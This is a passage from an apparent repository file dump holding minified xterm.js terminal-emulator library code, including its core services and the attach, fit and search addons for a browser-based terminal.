\"${e}\"`);this._activeEncoding=e}reset(){this.activeProtocol=\"NONE\",this.activeEncoding=\"DEFAULT\",this._lastEvent=null}triggerMouseEvent(e){if(e.col<0||e.col>=this._bufferService.cols||e.row<0||e.row>=this._bufferService.rows)return!1;if(4===e.button&&32===e.action)return!1;if(3===e.button&&32!==e.action)return!1;if(4!==e.button&&(2===e.action||3===e.action))return!1;if(e.col++,e.row++,32===e.action&&this._lastEvent&&this._equalEvents(this._lastEvent,e,\"SGR_PIXELS\"===this._activeEncoding))return!1;if(!this._protocols[this._activeProtocol].restrict(e))return!1;const t=this._encodings[this._activeEncoding](e);return t&&(\"DEFAULT\"===this._activeEncoding?this._coreService.triggerBinaryEvent(t):this._coreService.triggerDataEvent(t,!0)),this._lastEvent=e,!0}explainEvents(e){return{down:!!(1&e),up:!!(2&e),drag:!!(4&e),move:!!(8&e),wheel:!!(16&e)}}_equalEvents(e,t,i){if(i){if(e.x!==t.x)return!1;if(e.y!==t.y)return!1}else{if(e.col!==t.col)return!1;if(e.row!==t.row)return!1}return e.button===t.button&&e.action===t.action&&e.ctrl===t.ctrl&&e.alt===t.alt&&e.shift===t.shift}};t.CoreMouseService=_=s([r(0,n.IBufferService),r(1,n.ICoreService)],_)},6975:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.CoreService=void 0;const n=i(1439),o=i(8460),a=i(844),h=i(2585),c=Object.freeze({insertMode:!1}),l=Object.freeze({applicationCursorKeys:!1,applicationKeypad:!1,bracketedPasteMode:!1,origin:!1,reverseWraparound:!1,sendFocus:!1,wraparound:!0});let d=t.CoreService=class extends a.Disposable{constructor(e,t,i){super(),this._bufferService=e,this._logService=t,this._optionsService=i,this.isCursorInitialized=!1,this.isCursorHidden=!1,this._onData=this.register(new o.EventEmitter),this.onData=this._onData.event,this._onUserInput=this.register(new o.EventEmitter),this.onUserInput=this._onUserInput.event,this._onBinary=this.register(new o.EventEmitter),this.onBinary=this._onBinary.event,this._onRequestScrollToBottom=this.register(new o.EventEmitter),this.onRequestScrollToBottom=this._onRequestScrollToBottom.event,this.modes=(0,n.clone)(c),this.decPrivateModes=(0,n.clone)(l)}reset(){this.modes=(0,n.clone)(c),this.decPrivateModes=(0,n.clone)(l)}triggerDataEvent(e,t=!1){if(this._optionsService.rawOptions.disableStdin)return;const i=this._bufferService.buffer;t&&this._optionsService.rawOptions.scrollOnUserInput&&i.ybase!==i.ydisp&&this._onRequestScrollToBottom.fire(),t&&this._onUserInput.fire(),this._logService.debug(`sending data \"${e}\"`,(()=>e.split(\"\").map((e=>e.charCodeAt(0))))),this._onData.fire(e)}triggerBinaryEvent(e){this._optionsService.rawOptions.disableStdin||(this._logService.debug(`sending binary \"${e}\"`,(()=>e.split(\"\").map((e=>e.charCodeAt(0))))),this._onBinary.fire(e))}};t.CoreService=d=s([r(0,h.IBufferService),r(1,h.ILogService),r(2,h.IOptionsService)],d)},9074:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.DecorationService=void 0;const s=i(8055),r=i(8460),n=i(844),o=i(6106);let a=0,h=0;class c extends n.Disposable{get decorations(){return this._decorations.values()}constructor(){super(),this._decorations=new o.SortedList((e=>null==e?void 0:e.marker.line)),this._onDecorationRegistered=this.register(new r.EventEmitter),this.onDecorationRegistered=this._onDecorationRegistered.event,this._onDecorationRemoved=this.register(new r.EventEmitter),this.onDecorationRemoved=this._onDecorationRemoved.event,this.register((0,n.toDisposable)((()=>this.reset())))}registerDecoration(e){if(e.marker.isDisposed)return;const t=new l(e);if(t){const e=t.marker.onDispose((()=>t.dispose()));t.onDispose((()=>{t&&(this._decorations.delete(t)&&this._onDecorationRemoved.fire(t),e.dispose())})),this._decorations.insert(t),this._onDecorationRegistered.fire(t)}return t}reset(){for(const e of this._decorations.values())e.dispose();this._decorations.clear()}*getDecorationsAtCell(e,t,i){var s,r,n;let o=0,a=0;for(const h of this._decorations.getKeyIterator(t))o=null!==(s=h.options.x)&&void 0!==s?s:0,a=o+(null!==(r=h.options.width)&&void 0!==r?r:1),e>=o&&e<a&&(!i||(null!==(n=h.options.layer)&&void 0!==n?n:\"bottom\")===i)&&(yield h)}forEachDecorationAtCell(e,t,i,s){this._decorations.forEachByKey(t,(t=>{var r,n,o;a=null!==(r=t.options.x)&&void 0!==r?r:0,h=a+(null!==(n=t.options.width)&&void 0!==n?n:1),e>=a&&e<h&&(!i||(null!==(o=t.options.layer)&&void 0!==o?o:\"bottom\")===i)&&s(t)}))}}t.DecorationService=c;class l extends n.Disposable{get isDisposed(){return this._isDisposed}get backgroundColorRGB(){return null===this._cachedBg&&(this.options.backgroundColor?this._cachedBg=s.css.toColor(this.options.backgroundColor):this._cachedBg=void 0),this._cachedBg}get foregroundColorRGB(){return null===this._cachedFg&&(this.options.foregroundColor?this._cachedFg=s.css.toColor(this.options.foregroundColor):this._cachedFg=void 0),this._cachedFg}constructor(e){super(),this.options=e,this.onRenderEmitter=this.register(new r.EventEmitter),this.onRender=this.onRenderEmitter.event,this._onDispose=this.register(new r.EventEmitter),this.onDispose=this._onDispose.event,this._cachedBg=null,this._cachedFg=null,this.marker=e.marker,this.options.overviewRulerOptions&&!this.options.overviewRulerOptions.position&&(this.options.overviewRulerOptions.position=\"full\")}dispose(){this._onDispose.fire(),super.dispose()}}},4348:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.InstantiationService=t.ServiceCollection=void 0;const s=i(2585),r=i(8343);class n{constructor(...e){this._entries=new Map;for(const[t,i]of e)this.set(t,i)}set(e,t){const i=this._entries.get(e);return this._entries.set(e,t),i}forEach(e){for(const[t,i]of this._entries.entries())e(t,i)}has(e){return this._entries.has(e)}get(e){return this._entries.get(e)}}t.ServiceCollection=n,t.InstantiationService=class{constructor(){this._services=new n,this._services.set(s.IInstantiationService,this)}setService(e,t){this._services.set(e,t)}getService(e){return this._services.get(e)}createInstance(e,...t){const i=(0,r.getServiceDependencies)(e).sort(((e,t)=>e.index-t.index)),s=[];for(const t of i){const i=this._services.get(t.id);if(!i)throw new Error(`[createInstance] ${e.name} depends on UNKNOWN service ${t.id}.`);s.push(i)}const n=i.length>0?i[0].index:t.length;if(t.length!==n)throw new Error(`[createInstance] First service dependency of ${e.name} at position ${n+1} conflicts with ${t.length} static arguments`);return new e(...[...t,...s])}}},7866:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.traceCall=t.setTraceLogger=t.LogService=void 0;const n=i(844),o=i(2585),a={trace:o.LogLevelEnum.TRACE,debug:o.LogLevelEnum.DEBUG,info:o.LogLevelEnum.INFO,warn:o.LogLevelEnum.WARN,error:o.LogLevelEnum.ERROR,off:o.LogLevelEnum.OFF};let h,c=t.LogService=class extends n.Disposable{get logLevel(){return this._logLevel}constructor(e){super(),this._optionsService=e,this._logLevel=o.LogLevelEnum.OFF,this._updateLogLevel(),this.register(this._optionsService.onSpecificOptionChange(\"logLevel\",(()=>this._updateLogLevel()))),h=this}_updateLogLevel(){this._logLevel=a[this._optionsService.rawOptions.logLevel]}_evalLazyOptionalParams(e){for(let t=0;t<e.length;t++)\"function\"==typeof e[t]&&(e[t]=e[t]())}_log(e,t,i){this._evalLazyOptionalParams(i),e.call(console,(this._optionsService.options.logger?\"\":\"xterm.js: \")+t,...i)}trace(e,...t){var i,s;this._logLevel<=o.LogLevelEnum.TRACE&&this._log(null!==(s=null===(i=this._optionsService.options.logger)||void 0===i?void 0:i.trace.bind(this._optionsService.options.logger))&&void 0!==s?s:console.log,e,t)}debug(e,...t){var i,s;this._logLevel<=o.LogLevelEnum.DEBUG&&this._log(null!==(s=null===(i=this._optionsService.options.logger)||void 0===i?void 0:i.debug.bind(this._optionsService.options.logger))&&void 0!==s?s:console.log,e,t)}info(e,...t){var i,s;this._logLevel<=o.LogLevelEnum.INFO&&this._log(null!==(s=null===(i=this._optionsService.options.logger)||void 0===i?void 0:i.info.bind(this._optionsService.options.logger))&&void 0!==s?s:console.info,e,t)}warn(e,...t){var i,s;this._logLevel<=o.LogLevelEnum.WARN&&this._log(null!==(s=null===(i=this._optionsService.options.logger)||void 0===i?void 0:i.warn.bind(this._optionsService.options.logger))&&void 0!==s?s:console.warn,e,t)}error(e,...t){var i,s;this._logLevel<=o.LogLevelEnum.ERROR&&this._log(null!==(s=null===(i=this._optionsService.options.logger)||void 0===i?void 0:i.error.bind(this._optionsService.options.logger))&&void 0!==s?s:console.error,e,t)}};t.LogService=c=s([r(0,o.IOptionsService)],c),t.setTraceLogger=function(e){h=e},t.traceCall=function(e,t,i){if(\"function\"!=typeof i.value)throw new Error(\"not supported\");const s=i.value;i.value=function(...e){if(h.logLevel!==o.LogLevelEnum.TRACE)return s.apply(this,e);h.trace(`GlyphRenderer#${s.name}(${e.map((e=>JSON.stringify(e))).join(\", \")})`);const t=s.apply(this,e);return h.trace(`GlyphRenderer#${s.name} return`,t),t}}},7302:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.OptionsService=t.DEFAULT_OPTIONS=void 0;const s=i(8460),r=i(844),n=i(6114);t.DEFAULT_OPTIONS={cols:80,rows:24,cursorBlink:!1,cursorStyle:\"block\",cursorWidth:1,cursorInactiveStyle:\"outline\",customGlyphs:!0,drawBoldTextInBrightColors:!0,fastScrollModifier:\"alt\",fastScrollSensitivity:5,fontFamily:\"courier-new, courier, monospace\",fontSize:15,fontWeight:\"normal\",fontWeightBold:\"bold\",ignoreBracketedPasteMode:!1,lineHeight:1,letterSpacing:0,linkHandler:null,logLevel:\"info\",logger:null,scrollback:1e3,scrollOnUserInput:!0,scrollSensitivity:1,screenReaderMode:!1,smoothScrollDuration:0,macOptionIsMeta:!1,macOptionClickForcesSelection:!1,minimumContrastRatio:1,disableStdin:!1,allowProposedApi:!1,allowTransparency:!1,tabStopWidth:8,theme:{},rightClickSelectsWord:n.isMac,windowOptions:{},windowsMode:!1,windowsPty:{},wordSeparator:\" ()[]{}',\\\"`\",altClickMovesCursor:!0,convertEol:!1,termName:\"xterm\",cancelEvents:!1,overviewRulerWidth:0};const o=[\"normal\",\"bold\",\"100\",\"200\",\"300\",\"400\",\"500\",\"600\",\"700\",\"800\",\"900\"];class a extends r.Disposable{constructor(e){super(),this._onOptionChange=this.register(new s.EventEmitter),this.onOptionChange=this._onOptionChange.event;const i=Object.assign({},t.DEFAULT_OPTIONS);for(const t in e)if(t in i)try{const s=e[t];i[t]=this._sanitizeAndValidateOption(t,s)}catch(e){console.error(e)}this.rawOptions=i,this.options=Object.assign({},i),this._setupOptions()}onSpecificOptionChange(e,t){return this.onOptionChange((i=>{i===e&&t(this.rawOptions[e])}))}onMultipleOptionChange(e,t){return this.onOptionChange((i=>{-1!==e.indexOf(i)&&t()}))}_setupOptions(){const e=e=>{if(!(e in t.DEFAULT_OPTIONS))throw new Error(`No option with key \"${e}\"`);return this.rawOptions[e]},i=(e,i)=>{if(!(e in t.DEFAULT_OPTIONS))throw new Error(`No option with key \"${e}\"`);i=this._sanitizeAndValidateOption(e,i),this.rawOptions[e]!==i&&(this.rawOptions[e]=i,this._onOptionChange.fire(e))};for(const t in this.rawOptions){const s={get:e.bind(this,t),set:i.bind(this,t)};Object.defineProperty(this.options,t,s)}}_sanitizeAndValidateOption(e,i){switch(e){case\"cursorStyle\":if(i||(i=t.DEFAULT_OPTIONS[e]),!function(e){return\"block\"===e||\"underline\"===e||\"bar\"===e}(i))throw new Error(`\"${i}\" is not a valid value for ${e}`);break;case\"wordSeparator\":i||(i=t.DEFAULT_OPTIONS[e]);break;case\"fontWeight\":case\"fontWeightBold\":if(\"number\"==typeof i&&1<=i&&i<=1e3)break;i=o.includes(i)?i:t.DEFAULT_OPTIONS[e];break;case\"cursorWidth\":i=Math.floor(i);case\"lineHeight\":case\"tabStopWidth\":if(i<1)throw new Error(`${e} cannot be less than 1, value: ${i}`);break;case\"minimumContrastRatio\":i=Math.max(1,Math.min(21,Math.round(10*i)/10));break;case\"scrollback\":if((i=Math.min(i,4294967295))<0)throw new Error(`${e} cannot be less than 0, value: ${i}`);break;case\"fastScrollSensitivity\":case\"scrollSensitivity\":if(i<=0)throw new Error(`${e} cannot be less than or equal to 0, value: ${i}`);break;case\"rows\":case\"cols\":if(!i&&0!==i)throw new Error(`${e} must be numeric, value: ${i}`);break;case\"windowsPty\":i=null!=i?i:{}}return i}}t.OptionsService=a},2660:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,\"__esModule\",{value:!0}),t.OscLinkService=void 0;const n=i(2585);let o=t.OscLinkService=class{constructor(e){this._bufferService=e,this._nextId=1,this._entriesWithId=new Map,this._dataByLinkId=new Map}registerLink(e){const t=this._bufferService.buffer;if(void 0===e.id){const i=t.addMarker(t.ybase+t.y),s={data:e,id:this._nextId++,lines:[i]};return i.onDispose((()=>this._removeMarkerFromLink(s,i))),this._dataByLinkId.set(s.id,s),s.id}const i=e,s=this._getEntryIdKey(i),r=this._entriesWithId.get(s);if(r)return this.addLineToLink(r.id,t.ybase+t.y),r.id;const n=t.addMarker(t.ybase+t.y),o={id:this._nextId++,key:this._getEntryIdKey(i),data:i,lines:[n]};return n.onDispose((()=>this._removeMarkerFromLink(o,n))),this._entriesWithId.set(o.key,o),this._dataByLinkId.set(o.id,o),o.id}addLineToLink(e,t){const i=this._dataByLinkId.get(e);if(i&&i.lines.every((e=>e.line!==t))){const e=this._bufferService.buffer.addMarker(t);i.lines.push(e),e.onDispose((()=>this._removeMarkerFromLink(i,e)))}}getLinkData(e){var t;return null===(t=this._dataByLinkId.get(e))||void 0===t?void 0:t.data}_getEntryIdKey(e){return`${e.id};;${e.uri}`}_removeMarkerFromLink(e,t){const i=e.lines.indexOf(t);-1!==i&&(e.lines.splice(i,1),0===e.lines.length&&(void 0!==e.data.id&&this._entriesWithId.delete(e.key),this._dataByLinkId.delete(e.id)))}};t.OscLinkService=o=s([r(0,n.IBufferService)],o)},8343:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.createDecorator=t.getServiceDependencies=t.serviceRegistry=void 0;const i=\"di$target\",s=\"di$dependencies\";t.serviceRegistry=new Map,t.getServiceDependencies=function(e){return e[s]||[]},t.createDecorator=function(e){if(t.serviceRegistry.has(e))return t.serviceRegistry.get(e);const r=function(e,t,n){if(3!==arguments.length)throw new Error(\"@IServiceName-decorator can only be used to decorate a parameter\");!function(e,t,r){t[i]===t?t[s].push({id:e,index:r}):(t[s]=[{id:e,index:r}],t[i]=t)}(r,e,n)};return r.toString=()=>e,t.serviceRegistry.set(e,r),r}},2585:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.IDecorationService=t.IUnicodeService=t.IOscLinkService=t.IOptionsService=t.ILogService=t.LogLevelEnum=t.IInstantiationService=t.ICharsetService=t.ICoreService=t.ICoreMouseService=t.IBufferService=void 0;const s=i(8343);var r;t.IBufferService=(0,s.createDecorator)(\"BufferService\"),t.ICoreMouseService=(0,s.createDecorator)(\"CoreMouseService\"),t.ICoreService=(0,s.createDecorator)(\"CoreService\"),t.ICharsetService=(0,s.createDecorator)(\"CharsetService\"),t.IInstantiationService=(0,s.createDecorator)(\"InstantiationService\"),function(e){e[e.TRACE=0]=\"TRACE\",e[e.DEBUG=1]=\"DEBUG\",e[e.INFO=2]=\"INFO\",e[e.WARN=3]=\"WARN\",e[e.ERROR=4]=\"ERROR\",e[e.OFF=5]=\"OFF\"}(r||(t.LogLevelEnum=r={})),t.ILogService=(0,s.createDecorator)(\"LogService\"),t.IOptionsService=(0,s.createDecorator)(\"OptionsService\"),t.IOscLinkService=(0,s.createDecorator)(\"OscLinkService\"),t.IUnicodeService=(0,s.createDecorator)(\"UnicodeService\"),t.IDecorationService=(0,s.createDecorator)(\"DecorationService\")},1480:(e,t,i)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.UnicodeService=void 0;const s=i(8460),r=i(225);t.UnicodeService=class{constructor(){this._providers=Object.create(null),this._active=\"\",this._onChange=new s.EventEmitter,this.onChange=this._onChange.event;const e=new r.UnicodeV6;this.register(e),this._active=e.version,this._activeProvider=e}dispose(){this._onChange.dispose()}get versions(){return Object.keys(this._providers)}get activeVersion(){return this._active}set activeVersion(e){if(!this._providers[e])throw new Error(`unknown Unicode version \"${e}\"`);this._active=e,this._activeProvider=this._providers[e],this._onChange.fire(e)}register(e){this._providers[e.version]=e}wcwidth(e){return this._activeProvider.wcwidth(e)}getStringCellWidth(e){let t=0;const i=e.length;for(let s=0;s<i;++s){let r=e.charCodeAt(s);if(55296<=r&&r<=56319){if(++s>=i)return t+this.wcwidth(r);const n=e.charCodeAt(s);56320<=n&&n<=57343?r=1024*(r-55296)+n-56320+65536:t+=this.wcwidth(n)}t+=this.wcwidth(r)}return t}}}},t={};function i(s){var r=t[s];if(void 0!==r)return r.exports;var n=t[s]={exports:{}};return e[s].call(n.exports,n,n.exports,i),n.exports}var s={};return(()=>{var e=s;Object.defineProperty(e,\"__esModule\",{value:!0}),e.Terminal=void 0;const t=i(9042),r=i(3236),n=i(844),o=i(5741),a=i(8285),h=i(7975),c=i(7090),l=[\"cols\",\"rows\"];class d extends n.Disposable{constructor(e){super(),this._core=this.register(new r.Terminal(e)),this._addonManager=this.register(new o.AddonManager),this._publicOptions=Object.assign({},this._core.options);const t=e=>this._core.options[e],i=(e,t)=>{this._checkReadonlyOptions(e),this._core.options[e]=t};for(const e in this._core.options){const s={get:t.bind(this,e),set:i.bind(this,e)};Object.defineProperty(this._publicOptions,e,s)}}_checkReadonlyOptions(e){if(l.includes(e))throw new Error(`Option \"${e}\" can only be set in the constructor`)}_checkProposedApi(){if(!this._core.optionsService.rawOptions.allowProposedApi)throw new Error(\"You must set the allowProposedApi option to true to use proposed API\")}get onBell(){return this._core.onBell}get onBinary(){return this._core.onBinary}get onCursorMove(){return this._core.onCursorMove}get onData(){return this._core.onData}get onKey(){return this._core.onKey}get onLineFeed(){return this._core.onLineFeed}get onRender(){return this._core.onRender}get onResize(){return this._core.onResize}get onScroll(){return this._core.onScroll}get onSelectionChange(){return this._core.onSelectionChange}get onTitleChange(){return this._core.onTitleChange}get onWriteParsed(){return this._core.onWriteParsed}get element(){return this._core.element}get parser(){return this._parser||(this._parser=new h.ParserApi(this._core)),this._parser}get unicode(){return this._checkProposedApi(),new c.UnicodeApi(this._core)}get textarea(){return this._core.textarea}get rows(){return this._core.rows}get cols(){return this._core.cols}get buffer(){return this._buffer||(this._buffer=this.register(new a.BufferNamespaceApi(this._core))),this._buffer}get markers(){return this._checkProposedApi(),this._core.markers}get modes(){const e=this._core.coreService.decPrivateModes;let t=\"none\";switch(this._core.coreMouseService.activeProtocol){case\"X10\":t=\"x10\";break;case\"VT200\":t=\"vt200\";break;case\"DRAG\":t=\"drag\";break;case\"ANY\":t=\"any\"}return{applicationCursorKeysMode:e.applicationCursorKeys,applicationKeypadMode:e.applicationKeypad,bracketedPasteMode:e.bracketedPasteMode,insertMode:this._core.coreService.modes.insertMode,mouseTrackingMode:t,originMode:e.origin,reverseWraparoundMode:e.reverseWraparound,sendFocusMode:e.sendFocus,wraparoundMode:e.wraparound}}get options(){return this._publicOptions}set options(e){for(const t in e)this._publicOptions[t]=e[t]}blur(){this._core.blur()}focus(){this._core.focus()}resize(e,t){this._verifyIntegers(e,t),this._core.resize(e,t)}open(e){this._core.open(e)}attachCustomKeyEventHandler(e){this._core.attachCustomKeyEventHandler(e)}registerLinkProvider(e){return this._core.registerLinkProvider(e)}registerCharacterJoiner(e){return this._checkProposedApi(),this._core.registerCharacterJoiner(e)}deregisterCharacterJoiner(e){this._checkProposedApi(),this._core.deregisterCharacterJoiner(e)}registerMarker(e=0){return this._verifyIntegers(e),this._core.registerMarker(e)}registerDecoration(e){var t,i,s;return this._checkProposedApi(),this._verifyPositiveIntegers(null!==(t=e.x)&&void 0!==t?t:0,null!==(i=e.width)&&void 0!==i?i:0,null!==(s=e.height)&&void 0!==s?s:0),this._core.registerDecoration(e)}hasSelection(){return this._core.hasSelection()}select(e,t,i){this._verifyIntegers(e,t,i),this._core.select(e,t,i)}getSelection(){return this._core.getSelection()}getSelectionPosition(){return this._core.getSelectionPosition()}clearSelection(){this._core.clearSelection()}selectAll(){this._core.selectAll()}selectLines(e,t){this._verifyIntegers(e,t),this._core.selectLines(e,t)}dispose(){super.dispose()}scrollLines(e){this._verifyIntegers(e),this._core.scrollLines(e)}scrollPages(e){this._verifyIntegers(e),this._core.scrollPages(e)}scrollToTop(){this._core.scrollToTop()}scrollToBottom(){this._core.scrollToBottom()}scrollToLine(e){this._verifyIntegers(e),this._core.scrollToLine(e)}clear(){this._core.clear()}write(e,t){this._core.write(e,t)}writeln(e,t){this._core.write(e),this._core.write(\"\\r\\n\",t)}paste(e){this._core.paste(e)}refresh(e,t){this._verifyIntegers(e,t),this._core.refresh(e,t)}reset(){this._core.reset()}clearTextureAtlas(){this._core.clearTextureAtlas()}loadAddon(e){this._addonManager.loadAddon(this,e)}static get strings(){return t}_verifyIntegers(...e){for(const t of e)if(t===1/0||isNaN(t)||t%1!=0)throw new Error(\"This API only accepts integers\")}_verifyPositiveIntegers(...e){for(const t of e)if(t&&(t===1/0||isNaN(t)||t%1!=0||t<0))throw new Error(\"This API only accepts positive integers\")}}e.Terminal=d})(),s})()));\n//# sourceMappingURL=xterm.js.map"
  },
  {
    "path": "server/static/js/xterm-addon-attach-0.9.0.js",
    "content": "!function(e,t){\"object\"==typeof exports&&\"object\"==typeof module?module.exports=t():\"function\"==typeof define&&define.amd?define([],t):\"object\"==typeof exports?exports.AttachAddon=t():e.AttachAddon=t()}(self,(()=>(()=>{\"use strict\";var e={};return(()=>{var t=e;function s(e,t,s){return e.addEventListener(t,s),{dispose:()=>{s&&e.removeEventListener(t,s)}}}Object.defineProperty(t,\"__esModule\",{value:!0}),t.AttachAddon=void 0,t.AttachAddon=class{constructor(e,t){this._disposables=[],this._socket=e,this._socket.binaryType=\"arraybuffer\",this._bidirectional=!(t&&!1===t.bidirectional)}activate(e){this._disposables.push(s(this._socket,\"message\",(t=>{const s=t.data;e.write(\"string\"==typeof s?s:new Uint8Array(s))}))),this._bidirectional&&(this._disposables.push(e.onData((e=>this._sendData(e)))),this._disposables.push(e.onBinary((e=>this._sendBinary(e))))),this._disposables.push(s(this._socket,\"close\",(()=>this.dispose()))),this._disposables.push(s(this._socket,\"error\",(()=>this.dispose())))}dispose(){for(const e of this._disposables)e.dispose()}_sendData(e){this._checkOpenSocket()&&this._socket.send(e)}_sendBinary(e){if(!this._checkOpenSocket())return;const t=new Uint8Array(e.length);for(let s=0;s<e.length;++s)t[s]=255&e.charCodeAt(s);this._socket.send(t)}_checkOpenSocket(){switch(this._socket.readyState){case WebSocket.OPEN:return!0;case WebSocket.CONNECTING:throw new Error(\"Attach addon was loaded before socket was open\");case WebSocket.CLOSING:return console.warn(\"Attach addon socket is closing\"),!1;case WebSocket.CLOSED:throw new Error(\"Attach addon socket is closed\");default:throw new Error(\"Unexpected socket state\")}}}})(),e})()));\n//# sourceMappingURL=xterm-addon-attach.js.map"
  },
  {
    "path": "server/static/js/xterm-addon-fit-0.8.0.js",
    "content": "!function(e,t){\"object\"==typeof exports&&\"object\"==typeof module?module.exports=t():\"function\"==typeof define&&define.amd?define([],t):\"object\"==typeof exports?exports.FitAddon=t():e.FitAddon=t()}(self,(()=>(()=>{\"use strict\";var e={};return(()=>{var t=e;Object.defineProperty(t,\"__esModule\",{value:!0}),t.FitAddon=void 0,t.FitAddon=class{activate(e){this._terminal=e}dispose(){}fit(){const e=this.proposeDimensions();if(!e||!this._terminal||isNaN(e.cols)||isNaN(e.rows))return;const t=this._terminal._core;this._terminal.rows===e.rows&&this._terminal.cols===e.cols||(t._renderService.clear(),this._terminal.resize(e.cols,e.rows))}proposeDimensions(){if(!this._terminal)return;if(!this._terminal.element||!this._terminal.element.parentElement)return;const e=this._terminal._core,t=e._renderService.dimensions;if(0===t.css.cell.width||0===t.css.cell.height)return;const r=0===this._terminal.options.scrollback?0:e.viewport.scrollBarWidth,i=window.getComputedStyle(this._terminal.element.parentElement),o=parseInt(i.getPropertyValue(\"height\")),s=Math.max(0,parseInt(i.getPropertyValue(\"width\"))),n=window.getComputedStyle(this._terminal.element),l=o-(parseInt(n.getPropertyValue(\"padding-top\"))+parseInt(n.getPropertyValue(\"padding-bottom\"))),a=s-(parseInt(n.getPropertyValue(\"padding-right\"))+parseInt(n.getPropertyValue(\"padding-left\")))-r;return{cols:Math.max(2,Math.floor(a/t.css.cell.width)),rows:Math.max(1,Math.floor(l/t.css.cell.height))}}}})(),e})()));\n//# sourceMappingURL=xterm-addon-fit.js.map"
  },
  {
    "path": "server/static/js/xterm-addon-search-0.13.0.js",
    "content": "!function(e,t){\"object\"==typeof exports&&\"object\"==typeof module?module.exports=t():\"function\"==typeof define&&define.amd?define([],t):\"object\"==typeof exports?exports.SearchAddon=t():e.SearchAddon=t()}(self,(()=>(()=>{\"use strict\";var e={345:(e,t)=>{Object.defineProperty(t,\"__esModule\",{value:!0}),t.forwardEvent=t.EventEmitter=void 0,t.EventEmitter=class{constructor(){this._listeners=[],this._disposed=!1}get event(){return this._event||(this._event=e=>(this._listeners.push(e),{dispose:()=>{if(!this._disposed)for(let t=0;t<this._listeners.length;t++)if(this._listeners[t]===e)return void this._listeners.splice(t,1)}})),this._event}fire(e,t){const i=[];for(let e=0;e<this._listeners.length;e++)i.push(this._listeners[e]);for(let s=0;s<i.length;s++)i[s].call(void 0,e,t)}dispose(){this.clearListeners(),this._disposed=!0}clearListeners(){this._listeners&&(this._listeners.length=0)}},t.forwardEvent=function(e,t){return e((e=>t.fire(e)))}},859:(e,t)=>{function i(e){for(const t of e)t.dispose();e.length=0}Object.defineProperty(t,\"__esModule\",{value:!0}),t.getDisposeArrayDisposable=t.disposeArray=t.toDisposable=t.MutableDisposable=t.Disposable=void 0,t.Disposable=class{constructor(){this._disposables=[],this._isDisposed=!1}dispose(){this._isDisposed=!0;for(const e of this._disposables)e.dispose();this._disposables.length=0}register(e){return this._disposables.push(e),e}unregister(e){const t=this._disposables.indexOf(e);-1!==t&&this._disposables.splice(t,1)}},t.MutableDisposable=class{constructor(){this._isDisposed=!1}get value(){return this._isDisposed?void 0:this._value}set value(e){var t;this._isDisposed||e===this._value||(null===(t=this._value)||void 0===t||t.dispose(),this._value=e)}clear(){this.value=void 0}dispose(){var e;this._isDisposed=!0,null===(e=this._value)||void 0===e||e.dispose(),this._value=void 0}},t.toDisposable=function(e){return{dispose:e}},t.disposeArray=i,t.getDisposeArrayDisposable=function(e){return{dispose:()=>i(e)}}}},t={};function i(s){var r=t[s];if(void 0!==r)return r.exports;var o=t[s]={exports:{}};return e[s](o,o.exports,i),o.exports}var s={};return(()=>{var e=s;Object.defineProperty(e,\"__esModule\",{value:!0}),e.SearchAddon=void 0;const t=i(345),r=i(859),o=\" ~!@#$%^&*()+`-=[]{}|\\\\;:\\\"',./<>?\";class n extends r.Disposable{constructor(e){var i;super(),this._highlightedLines=new Set,this._highlightDecorations=[],this._selectedDecoration=this.register(new r.MutableDisposable),this._linesCacheTimeoutId=0,this._onDidChangeResults=this.register(new t.EventEmitter),this.onDidChangeResults=this._onDidChangeResults.event,this._highlightLimit=null!==(i=null==e?void 0:e.highlightLimit)&&void 0!==i?i:1e3}activate(e){this._terminal=e,this.register(this._terminal.onWriteParsed((()=>this._updateMatches()))),this.register(this._terminal.onResize((()=>this._updateMatches()))),this.register((0,r.toDisposable)((()=>this.clearDecorations())))}_updateMatches(){var e;this._highlightTimeout&&window.clearTimeout(this._highlightTimeout),this._cachedSearchTerm&&(null===(e=this._lastSearchOptions)||void 0===e?void 0:e.decorations)&&(this._highlightTimeout=setTimeout((()=>{const e=this._cachedSearchTerm;this._cachedSearchTerm=void 0,this.findPrevious(e,Object.assign(Object.assign({},this._lastSearchOptions),{incremental:!0,noScroll:!0}))}),200))}clearDecorations(e){this._selectedDecoration.clear(),(0,r.disposeArray)(this._highlightDecorations),this._highlightDecorations=[],this._highlightedLines.clear(),e||(this._cachedSearchTerm=void 0)}findNext(e,t){if(!this._terminal)throw new Error(\"Cannot use addon until it has been loaded\");this._lastSearchOptions=t,(null==t?void 0:t.decorations)&&(void 